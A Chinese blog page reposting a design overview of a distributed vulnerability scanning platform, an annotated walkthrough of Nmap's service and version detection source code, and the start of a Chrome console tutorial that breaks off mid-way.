分布式漏洞扫描系统设计与实现

发布时间:August 13, 2015 // 分类:工作日志,运维工作,代码学习,linux,转帖文章,windows,python // No Comments

0x00·概述

1.1 前言
  由于信息在当今社会显得越来越重要,其安全性就越发突出,尤其是在近几年,信息安全越来越受到企业的重视。 如今,几乎所有的互联网都有开发自己的漏洞扫描平台,用于发现内部的安全隐患。此外,很多专业的安全工程师就有自己开发的漏洞挖掘系统,随着各种漏洞盒子的出现,这种系统也越来越多,越来越强大。

1.2 何去何从
   对于一个不是专门做安全的小公司来说,如果大费周章滴自己从头到尾开发一套扫描系统,那绝对是脑袋被驴踢了。但是这绝不意味着我们不去做漏洞扫描系统,相反,我们一定要去做,而且努力在资源有限的情况下做的更好。
   大家都知道,现在网上有很多开源的工具,比如sqlmap, hydra, medusa,openvas等等, 当然也有很多优秀的商业产品,比如WVS等。试想,倘若公司有成千上万个IP和域名,那么让几个安全工程师每天去使用这些不同工具,对公司的内网网进行安全扫描,那这个工作量是很大的,而且这些工作很多都是重复性的工作,所以很自然地想到:做一个自动化的漏洞扫描平台,然后自动调些工具进行扫描,最后将结果进行汇总以便分析。

1.3 可以走的更远一些  
    现在各种应用服务是个非常流行的概念,它可以降低很多使用成本和沟通成本,所以我们可以把漏洞扫描做成了一个平台,相当于做了一个漏洞扫描服务平台,任何对安全不是很了解的同事,不管是开发,还是运维,都可以使用该平台进行安全扫描,及时发现漏洞。如果安全人员只是在产品上线后才进行检测,那么出现踢皮球的事情,产品那边说急着上线,安全这边说不行,最后邮件打架到领导那去了。

    所以,如果条件允许的话,我们可以在产品QA里面加入安全QA流程,任何上线的产品,只需发送消息到此漏洞扫描平台的,就会自动化安全扫描,如果发现漏洞的话,我们可以协助研发人员把漏洞修复,保证产品上线的安全性。


1.4 多余的话 
    集成各种漏洞扫描挖掘工具,确实可以给我们带来很多开发上的便利,但每个公司难免都有一些不同的特点,导致会有一些特殊的需求,比如服务器没有按照标准进行安全加固,WEB服务器没有禁用与运维无关的端口等等,所以我们有必要在实现这些扫描系统的时候,必须做成一个插件式的系统框架,一方面是是可以保持系统稳定,兼容性好,另外一方面可以我们可以根据自己的需求写各种插件。

0x01·系统框架

2.1 概述
    分布式漏洞扫描系统采用分布式的结构方式,可以充分利用云平台的技术优势,对系统中的各个模块要尽量解耦,降低他们之间的依赖程度,使得整个系统具有较高的稳定性和扩展性。
   在设计系统之初,我们就想充分利用各种开源和商业扫描工具,做一个集中式的漏洞扫描平台,避免重复造轮子,加快整个系统的开发速度,同时也有利于方便更新系统的各个插件。
2.2 运行环境
    由于不同的扫描工具,所运行的环境有所不同,导致我们的扫描系统有必要兼容不同的系统。比如hydra, openvas等工具,它们是比较适合运行在Linux上,而WVS,appscan等工具是运行在Windows上,所以我们有必要同时兼容这两大类系统。如果再深入一点,Linux也分为很多种不同的系统,比如CentOS, Ubuntu,Redhat等,而且即便相同的系统,内核版本不同的话,运行环境也是有很大的区别。所以,我们有必要一开始就选择好运行环境,这样可以降低我们的开发的成本,以下表2-1是我们选定的运行环境。


                        表2-1 各节点运行环境
2.3 系统框架
  分布式漏洞扫描系统分为交互展示(web)模块,监控(manager)模块和扫描(scanner)模块三大类。其中,交互展示模块是使用Django实现的一个Web系统,用户可以通过该模块进行任务的下发,待任务结束后,可以查看任务的扫描结果。监控模块主要负责监控整个系统的运行状况,并且将系统的任务状态消息通过邮件的形式推送给你用户等等。扫描模块就是分布式系统的末端,根据运行环境的不同可分为Linux扫描节点和Windows扫描节点两大类,它是直接对目标服务器发起扫描测试的节点,待扫描结束后,就把扫描结果返回给中央数据库,整个系统的框架结构如下图2-1所示。

   从图2-1中,我们可以看到,用户通过Web模块下发扫描任务,当然用户也可以自己创建任务计划,然后监控模块(manager server)会自动根据计划来创建扫描任务。任务创建之后,会根据任务的不同分发到消息队列:如果任务所调用的脚本是运行在Linux环境中,那么该消息就会被发送到Linux消息队列中,如该任务底层所调用的工具是运行在Windows中,那么该消息就会被发送Windows消息队列。Linux/Windows扫描节点会相应地从各自Linux/Windows消息队列中获取扫描任务,然后启动相关的扫描脚本,对目标发起扫描,扫描结束之后,通过WEB模块提供的REST接口同步扫描结果到数据库中。
2.4 部署工具
   为了便于批量部署分布式扫描的各个节点,我们采用fabric进行部署,具体相关的使用方法可以参考如下官网:
 http://www.fabfile.org/
2.5 小结
    各种分布式漏洞扫描系统的实现方式大同小异,大部分都使用了集中式的管理方式,通过消息队列进行任务下发,结束时通过REST接口接收扫描结果,尽量解耦各个模块。

0x02·消息通信

3.1 概述
   分布式的漏洞扫描系统主要分成交互(Web)模块,监控(Manager)模块和扫描(Scanner)模块三大类,当然也有其他的一些实用辅助工具,类如批量部署脚本,数据恢复等等。这三大模块相互联系,相互联系,协调完成扫描任务。
   交互模块主要是用户的操作界面,主要用于发起对目标的扫描任务,制定扫描计划,查看扫描结果等等。监控模块则是负责监视整个系统的运行状态。扫描模块则是具体负责发起扫描进程的。这个三个模块是相互独立,但又通过不同消息通信方式进行协调运作。本章节主要介绍一下各个模块之间的通信方式。
3.2 任务消息的定义
    用户发起的任何一个扫描任务,都需要转换成相应的预定义格式的消息。为方便各个模块之间的消息解析处理,我们将消息定义的格式如下:


3.3 任务消息的传递
   在分布式的系统中,消息队列是最佳的消息传递方式,因而我们采用了Active MQ作为整个系统的消息传递媒介。扫描节点可以分成Windows扫描节点和Linux扫描节点两种,不同的节点所能处理的扫描任务类型是不同的,而我们希望分布式的漏洞扫描系统能够同时支持这两种,以便实现强大的集中式挖掘平台。
   为了更好地区分两种不同类型的扫描任务,我们将在Active MQ中创建2个任务消息队列。用户通过Web界面发起扫描任务时,会创建一个(或多个)任务消息对象,然后根据所选用扫描插件所运行的环境不同,分别将其序列化(json)之后发送到相应的任务消息队列中。而Windows和Linux扫描节点则分别从Windows消息队列和Linux消息队列中取扫描任务,然后进行处理,其结果如下图3-1所示。


                            图3-1 任务消息传递示意图
    从上图可以看出,任务在进入任务队列之前就已经根据扫描任务的不同区分是发送到Windows队列还是发送到Linux队列,避免了后续流程中存在任务的交叉性,在扫描结束后通过Web上的REST接口将扫描结果同步到中央管理平台。
3.4 扫描任务的取消
    扫描节点会通过Web提供的API接口周期性轮询扫描任务状态变化。如果用户取消任务时,扫描节点发现状态已经被设置为取消状态,那么扫描节点会终止该任务所对应的扫描进程。
3.5 监控模块信息通信
    监控模块主要是与Web模块进行交互的,它通过Web提供的额外的几个REST接口,用于查询当前的任务状态信息,同时还负责部分信息收集相关的扫描任务等等,全部都是REST接口来完成所有的相关功能,具体的实现方式参考监控模块章节。

 

0x03·扫描节点

4.1 概述

   扫描节点(scanner)是整个分布式扫描系统的终端节点,负责具体漏洞扫描。由于我们的漏洞扫描系统需要集中许多不同的扫描工具,在这些工具当中,有的是只能运行在Windows上,比如WVS,而有的则是只能运行在Linux上,比如openvas,而有的则是可以同时在两种系统上运行,比如nmap。所以,为了能够更好的地集中这些工具,就必须解决系统的异构问题,达到同时支持Linux扫描节点和Windows扫描节点,才能更大地发挥集中扫描平台的优势。
4.2 扫描框架
4.2.1 系统异构
   出于系统设计的需求,扫描节点必须需要同时运行在Linux和Windows节点,所以我们在设计扫描节点的框架时,必须要考虑到系统的异构问题。此外,为了减少代码的开发时间和运维工作量,我们不希望在Linux开发一套扫描系统,而在Windows上开发另外一套系统,这样无疑会增加我们的开发和运维成本,而且对以后的升级都是比较棘手的。所以,我们采用脚本语言python开发整个扫描系统,所有的扫描工具都是采用插件的形式封装,然后根据扫描任务动态加载。举个例子,扫描系统启动的时候,它是不会加载任何插件的,保证系统能够同时运行在Linux和Windows节点上,当用户发起的一个WEB扫描任务时,那么该任务会被发送到Windows消息队列,Windows扫描节点会从该消息队列中提取任务,然后动态加载WVS插件,然后调用WVS进行漏洞扫描。同理,假如用户发起的主机扫描任务,那么该任务就会发送到Linux消息队列,Linux扫描节点会从该消息队列中提取任务,然后动态加载openvas插件,然后调用openvas进行漏洞扫描。如此一来,同一个扫描系统可以同时兼容Windows和Linux系统,就很好地解决系统的异构问题。
4.2.2 框架结构
  在【消息通信】章节中,整个分布式系统主要是通过消息队列(ActiveMQ)来进行扫描任务的分发。同时,为解决系统异构问题,我们使用了Windows和Linux两个消息队列,用于不同类型的任务分发,扫描节点的框架如下图4-1所示。


                          图4-1 扫描节点的框架结构
  从上图中,我们可以看到扫描节点存在好几个不同类型的线程,分别负责不同的功能,其功能如下表3-1所示。
表3-1 扫描节点内部主要的线程和进程功能表


  对照图3-1和表3-1,我们可以看出,扫描节点的内部有任务队列【Task Queue】和结果队列【Result Queue】两个队列,而接收任务线程【Receive MQ Thread】首先从ActiveMQ中获取扫描任务,然后将其推入到内部的任务队列【Task Queue】中,主线程【Main Porcess Thread】会从内部队列【Task Queue】中提取扫描任务消息,然后根据任务消息启动一个扫描线程【Scan Thread】, 而扫描线程【Scan Thread】启动之后会创建一个插件进程【Plugin Process】,该进程会调用nmap, WVS,openvas等相关工具,待执行结束后会将扫描的结果推入到结果队列【Result Queue】。结果同步线程【Sync Result Thread】从结果队列【Result Queue】中获取扫描结果,然后通过WEB的REST接口同步到中央数据库。而查询任务状态线程【Query Task status Thread】则是周期性地通过WEB的REST接口查询当前扫描任务的状态,如果发现有任务被取消的话,那么它就会发送一个取消【Cancel】的消息到任务队列【Task Queue】中,然后主线程【Main Porcess Thread】取出这个消息后,就会终止相应的扫描线程【Scan Thread】和插件进程【Plugin Thread】。


   扫描节点内的多个线程,不同的线程负责不同的功能,虽然看起来比较复杂,但是这样可以尽量解耦各个模块之间,以增强可扩展性和稳定性,也可以大大降低后期的维护和升级的成本。


4.2.3扫描线程和插件进程的启动
  扫描节点中主线程会根据扫描任务通过内部线程管理器【Thread Manager】启动一个扫描线程,其框架如下图4-2所示。


                               图 4-2 扫描线程与插件进程
  从上图4-2可以看出,线程管理器启动了扫描线程之后,扫描线程会根据任务任务从插件工厂【Plugin Factory】获取任务相对应的插件进程实例,并启动插件进程。比如扫描线程1的任务类型是主机安全扫描,那么它会通过插件工厂获得一个openvas的插件实例(plugin A),然后启动该插件进程,扫描线程2的任务类型是Web漏洞扫描,那么它会通过插件工厂获得WVS的插件实例(Plugin B),然后启动该插件进程。
4.2.4扫描线程和插件进程的通信
  当扫描任务被取消的时候,主进程会找到相对应的扫描线程【Scan Thread】,然后通过扫描线程来终止相对应的插件进程【Plugin Thread】,其通信的框架如图4-3所示。 

                          图 4-3 扫描线程和插件进程的通信结构图
  扫描线程【Scan Thread】在启动插件进程时,会创建一个队列Queue用于和插件进程【Plugin Process】通信。在插件进程内部有任务扫描【Task Scanning】和通信【communication】两个线程,其中任务扫描线程是调用具体的扫描工具或者脚本的,比如openvas,nmap,WVS等等,在调用结束后会将扫描的结果推入到扫描节点内部的结果队列【Result Queue】中,而通信线程则是通过队列【Queue】与扫描线程通信。
   当任务被取消时,主线程会通过相对应的扫描线程发送一个终止的命令到队列queue中,插件进程中的通信线程收到这个消息时就会调用终止函数(stop_script)来结束当前的线程。各个插件的终止函数略有不同,这样可以让各个插件进程在终止前做一些必要的工作,比如同步已有结果,清理扫尾等,增加插件的灵活性。但是,如果超过一定的时间相关进程和线程还没有被终止的话,那么就会被主进程强制杀掉,避免进程僵死的情况发生。
4.4 小结
   为了解决系统的异构问题,我们采用了两个任务消息队列来下发扫描任务,扫描节点中的各个扫描功能模块全部采用插件的形式,在需要的时候动态加载,保证了系统的稳定性和可扩展性。

作者:胡杨<jekkay@easysb.cn><479904359@qq.com>

from:easysb.cn

PS:之所以转这个是因为这个的设计思路跟我正在做的东西的设计思路是差不多的.只能感慨下:创意无限~

Nmap源码分析(服务与版本扫描)

发布时间:August 7, 2015 // 分类:开发笔记,运维工作,工作日志,linux,VC/C/C++,转帖文章,windows // No Comments

  Nmap提供了丰富的命令行选项(100多个选项),所以Nmap的命令行用法既可以简单到直接输入nmap targetip,也可以复杂到添加几十个选项对扫描过程进行性能优化。对Nmap的各类命令行选项有个总体把握,是熟练使用Nmap的先决条件。因此,这里以思维导图方式将Nmap的常用选项绘制出来,给用户清晰直观的印象。

  Nmap的思维导图(Mindmap)

  下载地址:http://aspirationflowspace.googlecode.com/files/nmap_usage_mindmap.png

Nmap源码分析(服务与版本扫描)

 

  在进行端口扫描后,Nmap可以进一步探测出运行在端口上的服务类型及应用程序的版本。目前Nmap可以识别几千种服务程序的签名(Signature),覆盖了180多种应用协议。比如,端口扫描检测到80端口是开放的,可以通过服务与版本扫描来确定其实际运行的协议(正常情况下是HTTP)及Web服务器名称及版本(比如是Apache xxx.xxx或者Microsoft IIS等)。

 

 

  扫描原理是服务指纹(或称签名)对比匹配。Nmap内部包含了几千种常见服务指纹的数据库(nmap-service-probes),对目标端口进行连接通信,产生当前端口的服务指纹,再与指纹数据库对比,寻找出匹配的服务类型。

  服务与版本侦测主要分为以下几个步骤:

1.        首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。

2.        如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中ProbeTCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“Welcome Banner”信息。nmap将接收到的Banner与nmap-services-probes中NULLprobe中的签名进行对比。查找对应应用程序的名字与版本信息。

3.        如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。

4.        如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。

5.        如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。

6.        如果探测到应用程序是SunRPC,那么调用brute-forceRPC grinder进一步探测具体服务。

 

服务扫描用法

-sV: 指定让Nmap进行版本侦测

--version-intensity<level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

--version-light: 指定使用轻量侦测方式 (intensity 2)

--version-all: 尝试使用所有的probes进行侦测 (intensity 9)

--version-trace: 显示出详细的版本侦测过程信息。

2   实现框架
下面先介绍服务与版本扫描涉及到的源文件与库、核心Class,然后介绍服务扫描的核心函数实现流程及流程的细节。
 
2.1  文件组织

service_scan.cc/service_scan.h

服务扫描的核心功能都在此两个文件中实现,文件结构清晰简洁,代码行数总共3000余行。与端口扫描部分类似,服务扫描也定义了不少类与接口函数。

nmap-service-probes

此文件是nmap服务扫描所需的数据库文件,包括定制的探测包及预期的回复包,及识别服务类型的具体匹配方式。

下面摘取其中片段,简单了解其结构。

Probe TCPNULL q||
# Wait forat least 6 seconds for data.  It used tobe 5, but some
# smtpservices have lately been instituting an artificial pause (see
#FEATURE('greet_pause') in Sendmail, for example)
totalwaitms6000
 
match 1c-server m|^S\xf5\xc6\x1a{|p/1C:Enterprise business management server/
 
match4d-server m|^\0\0\0H\0\0\0\x02.[^\0]*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|sp/4th Dimension database server/
 
match acapm|^\* ACAP IMPLEMENTATION\"CommuniGateProACAP(\d[−.\w]+)\" |p/CommuniGate Pro ACAP server/ v/$1/ i/for mail client preference sharing/
match acmpm|^ACMP Server Version ([\w._-]+)\r\n| p/Aagon ACMP Inventory/ v/$1/
matchactivemq m|^\0\0\0.\x01ActiveMQ\0\0\0|s p/Apache ActiveMQ/

第一行Probe关键字表示定义一个探测包,其类型为TCP,名字为NULL,探测字符串为空(q||)。以#开头为注释行,为读者提供参考信息。随后定义默认服务等待时间totalwaims 6000,即6秒钟。后面的match行,定义服务匹配的情况,即在此条件下认为此端口是运行的具体服务类型。match行的格式如下:

match <service> <pattern> [<versioninfo>]

service为服务名称,pattern为匹配的模式(正则表达式),versioninfo为该服务对应的版本信息。这里以match 1c-serverm|^S\xf5\xc6\x1a{| p/1C:Enterprise business management server/为例,当使用NULL探测包获取的返回包中包含:m|^S\xf5\xc6\x1a{|模式(该正则表达式含义:以字符S开头,紧随其后三个字符\xf5\xc6\x1a)时,并且从提取出厂商产品名字与1C:Enterprise businessmanagement server相符,那么判断该服务为1c-server。

其他的行与此类似,这里就不再赘述。

 

nsock library

服务与版本扫描部分用到nsock库,该库设计用于并发处理网络事件。在Nmap源码树下,有单独的nsock目录来管理nsock库。此处我们仅需要关注nsock.h文件中提供的API函数即可。

2.2  核心类分析

  服务扫描过程中,主要构建了5个类,分别描述不同层次的数据类型。下面我们将以宏观到微观的思路,依次查看每个类的结构与用法。其中ServiceGroup从整理的角度管理服务扫描过程;ServiceNFO则具体的负责管理每一种服务扫描过程;AllProbes负责管理所有用于服务扫描的探测包;ServiceProbe则描述每一个进行服务探测的探测包细节(对应nmap-service-probes中描述的探测包);ServiceProbeMatch则描述探测包的匹配类型(每一个ServiceProbe可能包含多种匹配类型)。

  下面依次查看每个类的细节。

 

2.2.1ServiceGroup

  ServiceGroup用于管理一组目标机进行服务扫描的信息。这个类非常重要,负责统一管理其他具体的信息:如单个服务扫描信息(ServiceNFO)、全部探测包信息(AllProbes)、服务探测包信息(ServiceProbe)等等。

  该类主要包含以下具体内容:

  1. 扫描完成的服务列表services_finished,记录目前已经扫描完毕的服务。
  2. 正在扫描的服务列表services_in_progress。多个服务可能在同时并发地被探测,所以此处将当前正在扫描的服务全部记录在该列表中。
  3. 剩余服务列表services_remaining,当前还没有开始探测的服务被放置在该列表中。在服务扫描初始化时,所有的服务的都被放置在列表中。
  4. 最大的并发探测包ideal_parallelism,用于确定同时发送服务探测包的并发数量,此值取决于用户配置的时序参数和具体网卡的支持能力等因素。若配置时序为-T4,那么会将ideal_parallelism设置40。
  5. 扫描进度测量器ScanProgressMeter,用于记录服务扫描的进度情况,以便能够实时地反馈给用户。在控制台界面按下普通按键(如按下空格键,不包括“vVdDp?”字符,这几个字符有特殊含义),Nmap会打印出当前的扫描进度。
  6. 超时主机的数量,记录当前扫描超时的主机数量。
// This holds theservice information for a group of Targets being service scanned.

class ServiceGroup {

public:

  ServiceGroup(vector<Target *>&Targets, AllProbes *AP);

  ~ServiceGroup();

  list<ServiceNFO *> services_finished;// Services finished (discovered or not)

  list<ServiceNFO *>services_in_progress; // Services currently being probed

  list<ServiceNFO *> services_remaining;// Probes not started yet

  unsigned int ideal_parallelism; // Max (anddesired) number of probes out at once.

  ScanProgressMeter *SPM;

  int num_hosts_timedout; // # of hosts timedout during (or before) scan

};

2.2.2ServiceNFO

  ServiceNFO负责管理特定的服务的探测细节。上述的ServiceGroup中就是管理ServiceNFO对象组成的列表。

  ServiceNFO类包含以下信息:

  1. 服务指纹的管理(提供添加与获取等操作)
  2. 服务扫描对应的主机(Target *target)
  3. 服务探测匹配的信息(是否匹配、是否softmatch、ssl配置、产品、版本、CPE等信息)
  4. 管理探测包(服务扫描过程可能需要发送多个探测包,在此对当前探测包、下一个探测包进行管理)
  5. 管理回复包(提供添加与获取等操作)。
  6. 服务扫描所需的全部探测包AllProbes *AP;

 

2.2.3AllProbes

  AllProbes负责管理全部的服务探测包(Probes)。该类的对象从nmap-service-probes数据库文件中解析出探测包及匹配方式等信息,将之管理起来。在后续服务扫描时,在此对象中来按需取出探测包发送即可。

  该类主要包含以下几个方面内容:

  1. 探测包管理(探测包向量std::vector<ServiceProbe *>probes、NULL探测包等)
  2. 编制回退数组(compileFallbacks),当回复包无法匹配当前字符串时,允许回退到上一次匹配字符串。
  3. 管理排除端口列表。在nmap-service-probes中指定需排除的服务扫描,默认排除TCP的9100-9107端口,此类打印机服务会返回大量的无用信息。
  4. 服务初始化接口与释放接口。

 

2.2.4ServiceProbe

  ServiceProbe负责管理单个的服务探测包的详细信息。服务探测包具体的信息来自nmap-service-probes数据库文件,当AllProbes类在初始化时会读取该文件,并依据其每个探测信息创建ServiceProbe对象,放置在AllProbes内部的向量std::vector<ServiceProbe *>probes中。

  该类主要包含以下内容:

  1. 探测包名字,比如探测包名字叫NULL或GenericLines等等。
  2. 探测包字符串及字符串长度。非NULL探测包都包含探测需要字符串,所以此处对该信息进行管理。例如,对于探测包:Probe TCP GenericLinesq|\r\n\r\n|,其探测字符串为\r\n\r\n。
  3. 允许的端口及SSL端口。除NULL外,探测包通常只会针对特定的端口扫描才有效,所以此处即管理该探测包允许的扫描的端口。
  4. 探测包的协议类型probeprotocol,只能是TCP或UDP。
  5. 可被探测的服务类型detectedServices。与允许端口类似,探测包可能只能用于某些特定的服务的探测,所以此处统一管理能被探测的服务类型。
  6. 服务探测包匹配管理。该类中使用向量std::vector<ServiceProbeMatch*> matches来管理此服务探测包可能会匹配的情况,匹配情况对应到nmap-service-probes中的match与softmatch行。
  7. 探测回退数组(fallback array)的管理,此对应到AllProbes中compileFallbacks()函数,此处管理具体的服务探测包进行回退的数组。数组结构:ServiceProbe*fallbacks[MAXFALLBACKS+1];
  8. 测试是否匹配,此接口函数用于测试某个回复包是否与预期结果匹配。
  9. 其他接口函数,管理其他普通信息。

 

2.2.5ServiceProbeMatch

  ServiceProbeMatch用于管理特定的服务探测包的匹配信息(match)。nmap-service-probes文件中每一个match和softmatch行都对应到该类的对象。

该类信息比较丰富,以下仅简要描述:

  1. 探测包匹配详细信息(版本、产品、CPE等等)
  2. 探测匹配情况(匹配类型、匹配字符串、正则表达式等等)
  3. 测试是否匹配接口函数。若匹配成功,返回详细的服务与版本信息。

 

2.3  代码流程

  在nmap.cc文件的nmap_main()函数中,如果配置了服务扫描,那么调用service_scan()函数(位于service_scan.cc文件中)。服务扫描的内容主要在service_scan()函数中完成。

  service_scan()函数比较简洁,只有120多行代码。因为服务扫描涉及到具体详细的操作都封装到类或其他的静态非成员函数中了,而并发处理网络事件部分调用nsock库来处理。

2.3.1代码流程图

2.3.2流程解析

  首先在nmap_main()中将扫描目标机传入service_scan()函数中,以便根据目标机端口状态来筛选需要扫描的服务。

  然后,在AllProbes:: service_scan_init()读取nmap-service-probes文件,解析出被排除的端口、扫描过程需要的探测包、探测包匹配等详细信息。将信息存放在AllProbes对象内。

  随后,根据Targets和AllProbes创建服务组对象(ServiceGroup),从Targets中解析出开放的端口与处于open|filtered状态的端口,创建对应的ServiceNFO对象,该服务等待被扫描。并创建扫描进度测量器,以便后续打印出扫描进度;确定最佳的扫描并发度ideal_parallelism。

  然后,确定排除端口。默认情况下,排除nmap-service-probes中指定的端口Exclude T:9100-9107;而如果用户命令行指定--all-ports,那么不排除Exclude指定的端口。

为每个目标机设置超时时钟,获取当前时间。

  然后开始进入关键环节,创建nsock pool,即nsock处理并发探测包的事件池。在创建nsock pool后,服务扫描才能使用nsock建立连接并注册事件。

根据用户需求,设置服务扫描的trace信息。

  若配置了openssl时,将其速度设置为最大。因为对于服务扫描,仅关心端口的服务类型,不必在安全性花费过多时间。

  然后开始启动少量的服务探测包(launchSomeServiceProbes)。根据前述步骤得出的服务探测包,创建nsock niod(io描述符,类似于文件描述符,管理输入输出),完成地址等信息配置,然后建立CP连接或UDP连接,在建立连接后向nsock pool注册事件。此后,该连接的事件将交给nsock loop来统一处理。

  创建nsock主循环(nsock_loop),在此循环中来接收网络事件(例如接收到回复包),调用相应的处理函数对事件响应(函数servicescan_read_handler()、servicescan_write_handler()、servicescan_connect_handler())。在处理函数中,扫描完成了某些服务后,会再调用launchSomeServiceProbes()函数加载剩余的服务进来扫描,以此整个服务扫描过程就被有序地连接起来了。

  当nsock循环退出,检查是否有错,并删除nsock pool对象。

  打印出调试信息,处理最终扫描结果。

3  源码注释

/* Execute a service fingerprinting scan against all open ports of the
   Targets specified. */
///针对指定目标机的开放的端口进行服务指纹扫描,
///此处会用到Nmap的nsock库(并发的Socket Event处理库)
int service_scan(vector<Target *> &Targets) {
  // int service_scan(Target *targets[], int num_targets)
  AllProbes *AP;
  ServiceGroup *SG;
  nsock_pool nsp;
  struct timeval now;
  int timeout;
  enum nsock_loopstatus looprc;
  struct timeval starttv;

  if (Targets.size() == 0)
    return 1;

  AP = AllProbes::service_scan_init();///获取AllProbes对象,AllProbes仅维护一个Static对象
  ///在service_scan_init()中将读取nmap-service-probes文件,解析出需要的探测包,并存放在
  ///AllProbes中std::vector<ServiceProbe *> probes向量中。


  // Now I convert the targets into a new ServiceGroup
  ///使用Targets向量与AllProbes创建服务组ServiceGroup,从Targets中提取open端口及
  ///open|filtered端口,放入services_remaining等待进行服务扫描。
  ///在创建服务组时,确定出服务扫描的最佳并发度ideal_parallelism
  SG = new ServiceGroup(Targets, AP);

  if (o.override_excludeports) {
    ///覆盖被排除端口,当命令行中指定--all-ports时会走到此分支。
    ///被排除的端口是指在nmap-service-probes文件用Exclude指令定义的端口。
    if (o.debugging || o.verbose) log_write(LOG_PLAIN, "Overriding exclude ports option! Some undesirable ports may be version scanned!\n");
  } else {
    ///从ServiceGroup中移除被排除的端口,Nmap默认会排出掉9100-9107与打印机相关的服务,
    ///因为此类服务只是简单返回Nmap发送过去的探测包,会产生大量的垃圾的流量。
    ///默认情况下在nmap-service-probes文件头部定义:Exclude T:9100-9107
    remove_excluded_ports(AP, SG);
  }
  ///为所有需要进行服务扫描的主机设置超时值
  startTimeOutClocks(SG);

  if (SG->services_remaining.size() == 0) {
    delete SG;
    return 1;
  }
  
  gettimeofday(&starttv, NULL);
  if (o.verbose) {
    char targetstr[128];
    bool plural = (Targets.size() != 1);
    if (!plural) {
      (*(Targets.begin()))->NameIP(targetstr, sizeof(targetstr));
    } else Snprintf(targetstr, sizeof(targetstr), "%u hosts", (unsigned) Targets.size());

    log_write(LOG_STDOUT, "Scanning %u %s on %s\n", 
          (unsigned) SG->services_remaining.size(), 
          (SG->services_remaining.size() == 1)? "service" : "services", 
          targetstr);
  }

  // Lets create a nsock pool for managing all the concurrent probes
  // Store the servicegroup in there for availability in callbacks
  ///创建nsock pool,以使用nsock并发控制探测包
  if ((nsp = nsp_new(SG)) == NULL) {
    fatal("%s() failed to create new nsock pool.", __func__);
  }

  ///根据用户指定的packettrace配置,设置nsock的trace级别
  if (o.versionTrace()) {
    nsp_settrace(nsp, NULL, NSOCK_TRACE_LEVEL, o.getStartTime());
  }

#if HAVE_OPENSSL
  /* We don't care about connection security in version detection. */
  ///配置SSL时,关注传输速度,而不关注安全性本身,以加速服务扫描过程。
  nsp_ssl_init_max_speed(nsp);
#endif

  ///从service_remaining列表中找出满足条件的等待探测服务,对之进行配置,
  ///创建nsock文件描述符(niod),并通过nsock建立连接(如nsock_connect_tcp()),
  ///并将此探测服务移动到services_in_progress列表中。
  launchSomeServiceProbes(nsp, SG);

  // How long do we have before timing out?
  gettimeofday(&now, NULL);
  timeout = -1;

  // OK!  Lets start our main loop!
  ///nsock主循环,在此循环内处理各种探测包的事件(nsock event)
  ///在上述的launchSomeServiceProbes操作中,调用到nsock_connect_tcp/udp/sctp等,
  ///最终执行nsp_add_event函数向nsock pool添加等待处理的事件。
  looprc = nsock_loop(nsp, timeout);
  if (looprc == NSOCK_LOOP_ERROR) {
    int err = nsp_geterrorcode(nsp);
    fatal("Unexpected nsock_loop error.  Error code %d (%s)", err, strerror(err));
  }
  ///退出主循环后,删除nsock pool
  nsp_delete(nsp);

  if (o.verbose) {
    char additional_info[128];
    if (SG->num_hosts_timedout == 0)
      Snprintf(additional_info, sizeof(additional_info), "%u %s on %u %s",
        (unsigned) SG->services_finished.size(),  
        (SG->services_finished.size() == 1)? "service" : "services", 
        (unsigned) Targets.size(), (Targets.size() == 1)? "host" : "hosts");
    else Snprintf(additional_info, sizeof(additional_info), "%u %s timed out", 
           SG->num_hosts_timedout, 
           (SG->num_hosts_timedout == 1)? "host" : "hosts");
    SG->SPM->endTask(NULL, additional_info);
  }

  // Yeah - done with the service scan.  Now I go through the results
  // discovered, store the important info away, and free up everything
  // else.
  ///对服务扫描结果的处理
  processResults(SG);

  delete SG;

  return 0;
}

from:http://blog.csdn.net/aspirationflow/article/details/7910350

Chrome 控制台console的用法

发布时间:July 19, 2015 // 分类:工作日志,linux,转帖文章,windows,生活琐事 // No Comments

大家都有用过各种类型的浏览器,每种浏览器都有自己的特色,本人拙见,在我用过的浏览器当中,我是最喜欢Chrome的,因为它对于调试脚本及前端设计调试都有它比其它浏览器有过之而无不及的地方。可能大家对console.log会有一定的了解,心里难免会想调试的时候用alert不就行了,干嘛还要用console.log这么一长串的字符串来替代alert输出信息呢,下面我就介绍一些调试的入门技巧,让你爱上console.log

先的简单介绍一下chrome的控制台,打开chrome浏览器,按f12就可以轻松的打开控制台

大家可以看到控制台里面有一首诗还有其它信息,如果想清空控制台,可以点击左上角那个来清空,当然也可以通过在控制台输入console.clear()来实现清空控制台信息。如下图所示

现在假设一个场景,如果一个数组里面有成百上千的元素,但是你想知道每个元素具体的值,这时候想想如果你用alert那将是多惨的一件事情,因为alert阻断线程运行,你不点击alert框的确定按钮下一个alert就不会出现。

下面我们用console.log来替换,感受一下它的魅力。

看了上面这张图,是不是认识到log的强大之处了,下面我们来看看console里面具体提供了哪些方法可以供我们平时调试时使用。

目前控制台方法和属性有:

 

下面我们来一一介绍一下各个方法主要的用途。

一般情况下我们用来输入信息的方法主要是用到如下四个

1、console.log 用于输出普通信息

2、console.info 用于输出提示性信息

3、console.error用于输出错误信息

4、console.warn用于输出警示信息

5、console.debug用于输出调试信息

用图来说话

console对象的上面5种方法,都可以使用printf风格的占位符。不过,占位符的种类比较少,只支持字符(%s)、整数(%d或%i)、浮点数(%f)和对象(%o)四种

console.log("%d年%d月%d日",2011,3,26);
console.log("圆周率是%f",3.1415926);

%o占位符,可以用来查看一个对象内部情况

var dog = {};
dog.name = "大毛";
dog.color = "黄色";
console.log("%o", dog);

6、console.dirxml用来显示网页的某个节点(node)所包含的html/xml代码

<body>
